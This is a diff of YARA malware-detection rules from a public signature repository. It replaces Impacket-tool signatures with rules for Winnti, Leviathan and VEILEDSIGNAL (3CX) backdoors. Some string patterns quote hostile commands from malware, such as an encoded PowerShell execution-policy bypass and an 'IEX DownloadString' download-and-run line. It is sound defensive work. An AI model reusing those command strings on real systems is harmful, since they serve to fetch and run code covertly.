-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_impacket_tools.yar#L156-L170"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e972ad610df65309f4e5996ad0b537670b944f43b810fda5a890ea995193a97a"
+		reference = "https://401trg.pw/burning-umbrella/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti_burning_umbrella.yar#L442-L460"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3200e3224e037a116451b09ce265c1794a05406876376531ac81eb720fcb6945"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "70d854953d3ebb2c252783a4a103ba0e596d6ab447f238af777fb37d2b64c0cd"
+		hash1 = "35db8e6a2eb5cf09cd98bf5d31f6356d0deaf4951b353fc513ce98918b91439c"
 
 	strings:
-		$s1 = "impacket.ese(" ascii
-		$s2 = "sesentutl" fullword ascii
+		$s2 = "print32.dll" fullword ascii
+		$s3 = "c:\\a\\b.txt" fullword ascii
+		$s4 = "\\temp\\s%d.dat" wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <11000KB and all of them )
+		uint16(0)==0x5a4d and filesize <200KB and (pe.exports("szFile") or 2 of them )
 }
-rule SIGNATURE_BASE_Impacket_Tools_Opdump : FILE
+rule SIGNATURE_BASE_Sedll_Javascript_Decryptor : FILE
 {
 	meta:
-		description = "Compiled Impacket Tools"
+		description = "Detects SeDll - DLL is used for decrypting and executing another JavaScript backdoor such as Orz"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1bb0e747-e9b7-5a54-8052-428351be8d0d"
-		date = "2017-04-07"
-		modified = "2023-12-05"
-		reference = "https://github.com/maaaaz/impacket-examples-windows"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_impacket_tools.yar#L172-L186"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "18b772e19fd61d77f3a671ee097e0f032738a73a360f4cfe79df4eb6377e12b1"
+		id = "8fafd139-0c4f-5c51-af8f-b4917d2d69b0"
+		date = "2017-10-18"
+		modified = "2023-01-07"
+		reference = "https://goo.gl/MZ7dRg"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_leviathan.yar#L11-L31"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "26ef61d8bb1764dddd951526902fb510fbacc8b808fe99ddee1956dc8b59bd1d"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "e2205539f29972d4e2a83eabf92af18dd406c9be97f70661c336ddf5eb496742"
+		hash1 = "146aa9a0ec013aa5bdba9ea9d29f59d48d43bc17c6a20b74bb8c521dbb5bc6f4"
 
 	strings:
-		$s2 = "bopdump.exe.manifest" fullword ascii
-		$s3 = "sopdump" fullword ascii
+		$x1 = "SEDll_Win32.dll" fullword ascii
+		$x2 = "regsvr32 /s \"%s\" DR __CIM__" wide
+		$s1 = "WScriptW" fullword ascii
+		$s2 = "IWScript" fullword ascii
+		$s3 = "%s\\%s~%d" fullword wide
+		$s4 = "PutBlockToFileWW" fullword ascii
+		$s5 = "CheckUpAndDownWW" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <17000KB and all of them )
+		uint16(0)==0x5a4d and filesize <40KB and (1 of ($x*) or 4 of them )
 }
-rule SIGNATURE_BASE_Impacket_Tools_Sniff : FILE
+rule SIGNATURE_BASE_Leviathan_Cobaltstrike_Sample_1 : FILE
 {
 	meta:
-		description = "Compiled Impacket Tools"
+		description = "Detects Cobalt Strike sample from Leviathan report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "07051edc-91a8-59d6-87bf-dba98ef28588"
-		date = "2017-04-07"
+		id = "e29072d8-b4ea-5e94-8a1c-0a1baec5f423"
+		date = "2017-10-18"
 		modified = "2023-12-05"
-		reference = "https://github.com/maaaaz/impacket-examples-windows"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_impacket_tools.yar#L188-L202"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b317e23d1f76cec4d5b14cb95d463ec410551052b30f1d2d5f52a441104108c0"
+		reference = "https://goo.gl/MZ7dRg"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_leviathan.yar#L33-L55"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9ebc8c2f8ddba302e0fbde69e27986236053a3d31c50cf3a2f979a9ebb90907f"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "8ab2b60aadf97e921e3a9df5cf1c135fbc851cb66d09b1043eaaa1dc01b9a699"
+		hash1 = "5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362"
 
 	strings:
-		$s1 = "ssniff" fullword ascii
-		$s2 = "impacket.eap(" ascii
+		$x1 = "a54c81.dll" fullword ascii
+		$x2 = "%d is an x64 process (can't inject x86 content)" fullword ascii
+		$x3 = "Failed to impersonate logged on user %d (%u)" fullword ascii
+		$s1 = "powershell -nop -exec bypass -EncodedCommand \"%s\"" fullword ascii
+		$s2 = "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s" fullword ascii
+		$s3 = "could not run command (w/ token) because of its length of %d bytes!" fullword ascii
+		$s4 = "could not write to process memory: %d" fullword ascii
+		$s5 = "%s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s" fullword ascii
+		$s6 = "Could not connect to pipe (%s): %d" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <15000KB and all of them )
+		uint16(0)==0x5a4d and filesize <600KB and (1 of ($x*) or 3 of them )
 }
-rule SIGNATURE_BASE_Impacket_Tools_Smbexec : FILE
+rule SIGNATURE_BASE_Mockdll_Gen : FILE
 {
 	meta:
-		description = "Compiled Impacket Tools"
+		description = "Detects MockDll - regsvr DLL loader"
 		author = "Florian Roth (Nextron Systems)"
-		id = "02208817-2eab-54e2-90cf-44dbf5474607"
-		date = "2017-04-07"
+		id = "904a0649-27e7-5024-aa6b-ddb23bba6202"
+		date = "2017-10-18"
 		modified = "2023-12-05"
-		reference = "https://github.com/maaaaz/impacket-examples-windows"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_impacket_tools.yar#L204-L218"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0f424dd5cc525ef0bd9671c4c1b8da0a1ff9eb79056cc081c1ebe7c9bf75fee6"
+		reference = "https://goo.gl/MZ7dRg"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_leviathan.yar#L57-L75"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cbe7b816199d251bfdc751f46bd95da6f0447ebd56f564619d24eb08bbd4a2c7"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "7d715217e23a471d42d95c624179fe7de085af5670171d212b7b798ed9bf07c2"
+		hash1 = "bfc5c6817ff2cc4f3cd40f649e10cc9ae1e52139f35fdddbd32cb4d221368922"
+		hash2 = "80b931ab1798d7d8a8d63411861cee07e31bb9a68f595f579e11d3817cfc4aca"
 
 	strings:
-		$s1 = "logging.config(" ascii
-		$s2 = "ssmbexec" fullword ascii
+		$x1 = "mock_run_ini_Win32.dll" fullword ascii
+		$x2 = "mock_run_ini_x64.dll" fullword ascii
+		$s1 = "RealCmd=%s %s" fullword ascii
+		$s2 = "MockModule=%s" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <17000KB and all of them )
+		uint16(0)==0x5a4d and filesize <20KB and (1 of ($x*) or 2 of them )
 }
-rule SIGNATURE_BASE_Impacket_Tools_Goldenpac : FILE
+rule SIGNATURE_BASE_Vbscript_Favicon_File : FILE
 {
 	meta:
-		description = "Compiled Impacket Tools"
+		description = "VBScript cloaked as Favicon file used in Leviathan incident"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9894d16c-83fa-5e1d-9ca6-572deeec006a"
-		date = "2017-04-07"
-		modified = "2023-12-05"
-		reference = "https://github.com/maaaaz/impacket-examples-windows"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_impacket_tools.yar#L220-L235"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0c764083a699204819f9ff6e2664a50d467447d0fff040ef32a8e28cc678b3cd"
+		id = "84147d4e-d062-5ba4-8019-6bf4b72c36c6"
+		date = "2017-10-18"
+		modified = "2023-01-06"
+		reference = "https://goo.gl/MZ7dRg"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_leviathan.yar#L77-L96"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5b89ea916adf6864c8b1cb7cd7ee6d74ea47bf17a0b03cc513046f8d260ae376"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4f7fad0676d3c3d2d89e8d4e74b6ec40af731b1ddf5499a0b81fc3b1cd797ee3"
+		hash1 = "39c952c7e14b6be5a9cb1be3f05eafa22e1115806e927f4e2dc85d609bc0eb36"
 
 	strings:
-		$s1 = "impacket.examples.serviceinstall(" ascii
-		$s2 = "bgoldenPac.exe" fullword ascii
-		$s3 = "json.scanner(" ascii
+		$x1 = "myxml = '<?xml version=\"\"1.0\"\" encoding=\"\"UTF-8\"\"?>';myxml = myxml +'<root>" ascii
+		$x2 = ".Run \"taskkill /im mshta.exe" ascii
+		$x3 = "<script language=\"VBScript\">Window.ReSizeTo 0, 0 : Window.moveTo -2000,-2000 :" ascii
+		$s1 = ".ExpandEnvironmentStrings(\"%ALLUSERSPROFILE%\") &" ascii
+		$s2 = ".ExpandEnvironmentStrings(\"%temp%\") & " ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <17000KB and all of them )
+		filesize <100KB and ( uint16(0)==0x733c and 1 of ($x*)) or (3 of them )
 }
-rule SIGNATURE_BASE_Impacket_Tools_Netview : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_MAL_VEILEDSIGNAL_Backdoor_Apr23 : FILE
 {
 	meta:
-		description = "Compiled Impacket Tools"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1b9238d2-b9b1-5633-8481-05a3a97af5a6"
-		date = "2017-04-07"
+		description = "Detects malicious VEILEDSIGNAL backdoor"
+		author = "X__Junior"
+		id = "74c403ea-3178-58e8-88b3-a51c1d475868"
+		date = "2023-04-20"
 		modified = "2023-12-05"
-		reference = "https://github.com/maaaaz/impacket-examples-windows"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_impacket_tools.yar#L237-L252"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e0beb6235838b4e8a1312ba53c539c6c3d732ba13a0190c654dcf7ec4389e364"
-		score = 75
+		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_tradingtech_apr23.yar#L2-L17"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4fe1a1b09344cd84f981b193b480d23807893b59ad781868d82089a7306c042f"
+		score = 85
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ab909f8082c2d04f73d8be8f4c2640a5582294306dffdcc85e83a39d20c49ed6"
+		hash1 = "aa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43"
 
 	strings:
-		$s1 = "impacket.dcerpc.v5.wkst(" ascii
-		$s2 = "dummy_threading(" ascii
-		$s3 = "snetview" fullword ascii
+		$op1 = {B8 AB AA AA AA F7 E1 8B C1 C1 EA 02 8D 14 52 03 D2 2B C2 8A 84 05 ?? ?? ?? ?? 30 84 0D ?? ?? ?? ??}
+		$op2 = { 50 66 0F 13 85 ?? ?? ?? ?? 66 0F 13 85 ?? ?? ?? ?? 66 0F 13 85 ?? ?? ?? ?? 66 0F 13 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 3C 00 00 00 C7 85 ?? ?? ?? ?? 40 00 00 00 C7 85 ?? ?? ?? ?? 05 00 00 00 FF 15}
+		$op3 = { 6A 00 8D 85 ?? ?? ?? ?? 50 6A 04 8D 85 ?? ?? ?? ?? 50 57 FF 15 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <17000KB and all of them )
+		uint16(0)==0x5a4d and all of them
 }
-rule SIGNATURE_BASE_Impacket_Tools_Smbtorture : FILE
+import "pe"
+
+rule SIGNATURE_BASE_SUSP_APT_MAL_VEILEDSIGNAL_Backdoor_Apr23
 {
 	meta:
-		description = "Compiled Impacket Tools"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4f9b55e2-93ce-5d08-a228-73233fb0a2c6"
-		date = "2017-04-07"
-		modified = "2023-12-05"
-		reference = "https://github.com/maaaaz/impacket-examples-windows"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_impacket_tools.yar#L254-L268"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "63cbd6511c5498b39fa5efadb8fe0caeeaa8d4c2afe534a0169ea38f205a9cba"
+		description = "Detects marker found in VEILEDSIGNAL backdoor"
+		author = "X__Junior"
+		id = "8f0d92b6-d9b0-55e3-b2ca-601d095f5279"
+		date = "2023-04-20"
+		modified = "2023-04-21"
+		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_tradingtech_apr23.yar#L19-L35"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ccb482a7634dc24fde03b5730bf28a9e028f8d5a9ad46ba9663d1b520264d8f4"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "d2856e98011541883e5b335cb46b713b1a6b2c414966a9de122ee7fb226aa7f7"
+		tags = ""
+		hash1 = "aa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43"
 
 	strings:
-		$s1 = "impacket" fullword ascii
-		$s2 = "ssmbtorture" fullword ascii
+		$opb1 = { 81 BD ?? ?? ?? ?? 5E DA F3 76}
+		$opb2 = { C7 85 ?? ?? ?? ?? 74 F2 39 DA 66 C7 85 ?? ?? ?? ?? E5 CF}
+		$opb3 = { C7 85 ?? ?? ?? ?? 74 F2 39 DA B9 00 04 00 00 66 C7 85 ?? ?? ?? ?? E5 CF }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <17000KB and all of them )
+		2 of them
 }
-rule SIGNATURE_BASE_Impacket_Tools_Mimikatz : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_NK_MAL_M_Hunting_VEILEDSIGNAL_1 : FILE
 {
 	meta:
-		description = "Compiled Impacket Tools"
-		author = "Florian Roth (Nextron Systems)"
-		id = "0b1f5ad0-7070-58d5-946f-157dcb9627ab"
-		date = "2017-04-07"
+		description = "Detects VEILEDSIGNAL malware"
+		author = "Mandiant"
+		id = "3e7c92fe-a7bd-5180-9935-4f98f2b64e2b"
+		date = "2023-04-20"
 		modified = "2023-12-05"
-		reference = "https://github.com/maaaaz/impacket-examples-windows"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_impacket_tools.yar#L270-L285"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0dce4086887877aa77063dfa3c69d7a17cfa0815c4ca417144d3bbb6ebe68650"
+		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_tradingtech_apr23.yar#L37-L55"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "439a201e6a44a00a31fd13efc83a1acf858a52201e3ab48d5cf095bae1e48cf7"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2d8d500bcb3ffd22ddd8bd68b5b2ce935c958304f03729442a20a28b2c0328c1"
+		disclaimer = "This rule is meant for hunting and is not tested to run in a production environment"
+		hash1 = "404b09def6054a281b41d309d809a428"
+		hash2 = "c6441c961dcad0fe127514a918eaabd4"
 
 	strings:
-		$s1 = "impacket" fullword ascii
-		$s2 = "smimikatz" fullword ascii
-		$s3 = "otwsdlc" fullword ascii
+		$rh1 = { 68 5D 7A D2 2C 3C 14 81 2C 3C 14 81 2C 3C 14 81 77 54 10 80 26 3C 14 81 77 54 17 80 29 3C 14 81 77 54 11 80 AB 3C 14 81 D4 4C 11 80 33 3C 14 81 D4 4C 10 80 22 3C 14 81 D4 4C 17 80 25 3C 14 81 77 54 15 80 27 3C 14 81 2C 3C 15 81 4B 3C 14 81 94 4D 1D 80 28 3C 14 81 94 4D 14 80 2D 3C 14 81 94 4D 16 80 2D 3C 14 81 }
+		$rh2 = { 00 E5 A0 2B 44 84 CE 78 44 84 CE 78 44 84 CE 78 1F EC CA 79 49 84 CE 78 1F EC CD 79 41 84 CE 78 1F EC CB 79 C8 84 CE 78 BC F4 CA 79 4A 84 CE 78 BC F4 CD 79 4D 84 CE 78 BC F4 CB 79 65 84 CE 78 1F EC CF 79 43 84 CE 78 44 84 CF 78 22 84 CE 78 FC F5 C7 79 42 84 CE 78 FC F5 CE 79 45 84 CE 78 FC F5 CC 79 45 84 CE 78}
+		$rh3 = { DA D2 21 22 9E B3 4F 71 9E B3 4F 71 9E B3 4F 71 C5 DB 4C 70 94 B3 4F 71 C5 DB 4A 70 15 B3 4F 71 C5 DB 4B 70 8C B3 4F 71 66 C3 4B 70 8C B3 4F 71 66 C3 4C 70 8F B3 4F 71 C5 DB 49 70 9F B3 4F 71 66 C3 4A 70 B0 B3 4F 71 C5 DB 4E 70 97 B3 4F 71 9E B3 4E 71 F9 B3 4F 71 26 C2 46 70 9F B3 4F 71 26 C2 B0 71 9F B3 4F 71 9E B3 D8 71 9F B3 4F 71 26 C2 4D 70 9F B3 4F 71 }
+		$rh4 = { CB 8A 35 66 8F EB 5B 35 8F EB 5B 35 8F EB 5B 35 D4 83 5F 34 85 EB 5B 35 D4 83 58 34 8A EB 5B 35 D4 83 5E 34 09 EB 5B 35 77 9B 5E 34 92 EB 5B 35 77 9B 5F 34 81 EB 5B 35 77 9B 58 34 86 EB 5B 35 D4 83 5A 34 8C EB 5B 35 8F EB 5A 35 D3 EB 5B 35 37 9A 52 34 8C EB 5B 35 37 9A 58 34 8E EB 5B 35 37 9A 5B 34 8E EB 5B 35 37 9A 59 34 8E EB 5B 35 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <17000KB and all of them )
+		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and 1 of ($rh*)
 }
-rule SIGNATURE_BASE_Impacket_Tools_Smbrelayx : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_NK_MAL_M_Hunting_VEILEDSIGNAL_2 : FILE
 {
 	meta:
-		description = "Compiled Impacket Tools"
-		author = "Florian Roth (Nextron Systems)"
-		id = "84abf3cf-841c-592d-a9d1-71d5e76eb43f"
-		date = "2017-04-07"
+		description = "Detects VEILEDSIGNAL malware"
+		author = "Mandiant"
+		id = "1b96c2f0-1c57-593e-9630-a72d43eb857e"
+		date = "2023-04-20"
 		modified = "2023-12-05"
-		reference = "https://github.com/maaaaz/impacket-examples-windows"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_impacket_tools.yar#L287-L303"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2afcede9d9f5af102c68e705f29242bc3a56485e79c0acfc347a4ea7f823dfda"
+		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_tradingtech_apr23.yar#L57-L76"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "62f74faa8f136f4dc63a4b703cffcb97b438cc4f180d5d127d1fc4b86d3cd1d1"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "9706eb99e48e445ac4240b5acb2efd49468a800913e70e40b25c2bf80d6be35f"
+		disclaimer = "This rule is meant for hunting and is not tested to run in a production environment"
+		hash1 = "404b09def6054a281b41d309d809a428"
 
 	strings:
-		$s1 = "impacket.examples.secretsdump" fullword ascii
-		$s2 = "impacket.examples.serviceinstall" fullword ascii
-		$s3 = "impacket.smbserver(" ascii
-		$s4 = "SimpleHTTPServer(" ascii
+		$sb1 = { C1 E0 05 4D 8? [2] 33 D0 45 69 C0 7D 50 BF 12 8B C2 41 FF C2 C1 E8 07 33 D0 8B C2 C1 E0 16 41 81 C0 87 D6 12 00 }
+		$si1 = "CryptBinaryToStringA" fullword
+		$si2 = "BCryptGenerateSymmetricKey" fullword
+		$si3 = "CreateThread" fullword
+		$ss1 = "ChainingModeGCM" wide
+		$ss2 = "__tutma" fullword
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <18000KB and 3 of them )
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and all of them
 }
-rule SIGNATURE_BASE_Impacket_Tools_Wmipersist : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_NK_MAL_M_Hunting_VEILEDSIGNAL_3 : FILE
 {
 	meta:
-		description = "Compiled Impacket Tools"
-		author = "Florian Roth (Nextron Systems)"
-		id = "29bda652-28f0-5ab6-9bc2-411f20ab0dda"
-		date = "2017-04-07"
+		description = "Detects VEILEDSIGNAL malware"
+		author = "Mandiant"
+		id = "82790c65-1d93-509b-95df-841543943c30"
+		date = "2023-04-20"
 		modified = "2023-12-05"
-		reference = "https://github.com/maaaaz/impacket-examples-windows"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_impacket_tools.yar#L305-L319"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "df0dfaed264e0acc57f74e40addcaf52f6d8e832524eb638b682a358c81da83f"
+		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_tradingtech_apr23.yar#L78-L96"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c6441c961dcad0fe127514a918eaabd4"
+		logic_hash = "2109340edfb1891baef5bd92ba3c9da77f891341de9e8094060a649de62fade2"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2527fff1a3c780f6a757f13a8912278a417aea84295af1abfa4666572bbbf086"
+		disclaimer = "This rule is meant for hunting and is not tested to run in a production environment"
 
 	strings:
-		$s1 = "swmipersist" fullword ascii
-		$s2 = "\\yzHPlU=QA" ascii
+		$ss1 = { 61 70 70 6C 69 63 61 74 69 6F 6E 2F 6A 73 6F 6E 2C 20 74 65 78 74 2F 6A 61 76 61 73 63 72 69 70 74 2C 20 2A 2F 2A 3B 20 71 3D 30 2E 30 31 00 00 61 63 63 65 70 74 00 00 65 6E 2D 55 53 2C 65 6E 3B 71 3D 30 2E 39 00 00 61 63 63 65 70 74 2D 6C 61 6E 67 75 61 67 65 00 63 6F 6F 6B 69 65 00 00 }
+		$si1 = "HttpSendRequestW" fullword
+		$si2 = "CreateNamedPipeW" fullword
+		$si3 = "CreateThread" fullword
+		$se1 = "DllGetClassObject" fullword
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <17000KB and all of them )
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and all of them
 }
-rule SIGNATURE_BASE_Impacket_Tools_Lookupsid : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_NK_MAL_M_Hunting_VEILEDSIGNAL_4 : FILE
 {
 	meta:
-		description = "Compiled Impacket Tools"
-		author = "Florian Roth (Nextron Systems)"
-		id = "27f13397-b044-54b4-b5e8-c5f7ed374f59"
-		date = "2017-04-07"
+		description = "Detects VEILEDSIGNAL malware"
+		author = "Mandiant"
+		id = "379e6471-3c4f-5c72-b8fd-17f481e89ac6"
+		date = "2023-04-20"
 		modified = "2023-12-05"
-		reference = "https://github.com/maaaaz/impacket-examples-windows"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_impacket_tools.yar#L321-L335"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "629ddd49377017d6ea2aac9665b21dfdf9a50c917bf915ea892faafd841bf817"
+		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_tradingtech_apr23.yar#L98-L118"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2a875c39a43ff054ed5a6cf2fa1f17c2adc189452582763db8ceddfa652abfbf"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "47756725d7a752d3d3cfccfb02e7df4fa0769b72e008ae5c85c018be4cf35cc1"
+		disclaimer = "This rule is meant for hunting and is not tested to run in a production environment"
+		hash1 = "404b09def6054a281b41d309d809a428"
+		hash2 = "c6441c961dcad0fe127514a918eaabd4"
 
 	strings:
-		$s1 = "slookupsid" fullword ascii
-		$s2 = "impacket.dcerpc" fullword ascii
+		$sb1 = { FF 15 FC 76 01 00 8B F0 85 C0 74 ?? 8D 50 01 [6-16] FF 15 [4] 48 8B D8 48 85 C0 74 ?? 89 ?? 24 28 44 8B CD 4C 8B C? 48 89 44 24 20 }
+		$sb2 = { 33 D2 33 C9 FF 15 [4] 4C 8B CB 4C 89 74 24 28 4C 8D 05 [2] FF FF 44 89 74 24 20 33 D2 33 C9 FF 15 }
+		$si1 = "CreateThread" fullword
+		$si2 = "MultiByteToWideChar" fullword
+		$si3 = "LocalAlloc" fullword
+		$se1 = "DllGetClassObject" fullword
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <15000KB and all of them )
